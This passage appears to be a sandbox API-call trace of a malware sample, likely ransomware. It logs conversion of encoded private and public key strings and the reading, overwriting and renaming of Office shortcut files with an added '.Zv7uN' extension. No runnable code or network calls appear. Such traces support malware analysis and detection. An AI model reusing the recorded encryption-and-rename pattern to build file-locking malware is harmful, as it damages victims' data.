7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0134.120] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f2b18c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0134.121] GetCurrentThreadId () returned 0xa30 [0134.121] GetCurrentThreadId () returned 0xa30 [0134.121] GetCurrentThreadId () returned 0xa30 [0134.122] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0134.122] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f3c1ec, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0134.122] GetCurrentThreadId () returned 0xa30 [0134.122] GetCurrentThreadId () returned 0xa30 [0134.122] GetCurrentThreadId () returned 0xa30 [0134.122] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Upload Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office 2010 upload center.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0134.122] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0134.122] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0134.122] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0xb15 [0134.123] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0134.123] ReadFile (in: hFile=0x1dc, lpBuffer=0x1f43ff0, nNumberOfBytesToRead=0xb15, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f43ff0*, lpNumberOfBytesRead=0x18f108*=0xb15, lpOverlapped=0x0) returned 1 [0134.126] CloseHandle (hObject=0x1dc) returned 1 [0134.126] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Upload Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office 2010 upload center.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0134.128] WriteFile (in: hFile=0x1dc, lpBuffer=0x1f46020*, nNumberOfBytesToWrite=0xb15, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f46020*, lpNumberOfBytesWritten=0x18f114*=0xb15, lpOverlapped=0x0) returned 1 [0134.131] CloseHandle (hObject=0x1dc) returned 1 [0134.131] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Upload Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office 2010 upload center.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Upload Center.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office 2010 upload center.lnk.zv7un")) returned 1 [0134.133] GetCurrentThreadId () returned 0xa30 [0134.133] GetCurrentThreadId () returned 0xa30 [0134.133] GetCurrentThreadId () returned 0xa30 [0134.133] GetCurrentThreadId () returned 0xa30 [0134.133] GetCurrentThreadId () returned 0xa30 [0134.133] GetCurrentThreadId () returned 0xa30 [0134.133] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77fec150, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc1179de0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc1179de0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xb3b, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft Office Picture Manager.lnk", cAlternateFileName="MICROS~2.LNK")) returned 1 [0134.133] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0134.133] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0134.133] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office Picture Manager.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office picture manager.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77fec150, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc1179de0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc1179de0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xb3b)) returned 1 [0134.134] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office Picture Manager.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office picture manager.lnk")) returned 0x20 [0134.134] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office Picture Manager.lnk", dwFileAttributes=0x80) returned 1 [0134.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0134.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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